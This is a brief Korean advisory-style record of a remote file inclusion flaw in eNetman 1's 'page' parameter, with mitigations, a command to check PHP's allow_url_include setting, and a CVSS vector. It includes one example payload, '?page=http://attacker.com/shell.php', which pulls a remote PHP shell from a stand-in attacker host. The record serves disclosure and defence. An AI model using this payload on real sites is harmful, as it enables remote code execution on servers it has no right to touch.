eNetman 1 이전 버전 (정확한 패치 버전 정보 필요)
HTTP GET/POST 요청으로 page 매개변수에 원격 파일 URL을 삽입하여 악성 PHP 코드 실행 (예: ?page=http://attacker.com/shell.php)
eNetman을 최신 버전으로 업그레이드하거나, PHP allow_url_include 설정을 비활성화하고, page 매개변수에 대한 입력 검증 및 화이트리스트 필터링 적용
On으로 설정되어 있으면 RFI 취약점 악용 가능성 높음, Off면 보호됨. 또는 eNetman 설치 디렉토리에서 index.php의 page 매개변수 처리 방식 검토
grep -r 'allow_url_include' /etc/php*/*/conf.d/ 2>/dev/null || php -r 'echo ini_get("allow_url_include");'
AV:N/AC:L/Au:N/C:P/I:P/A:P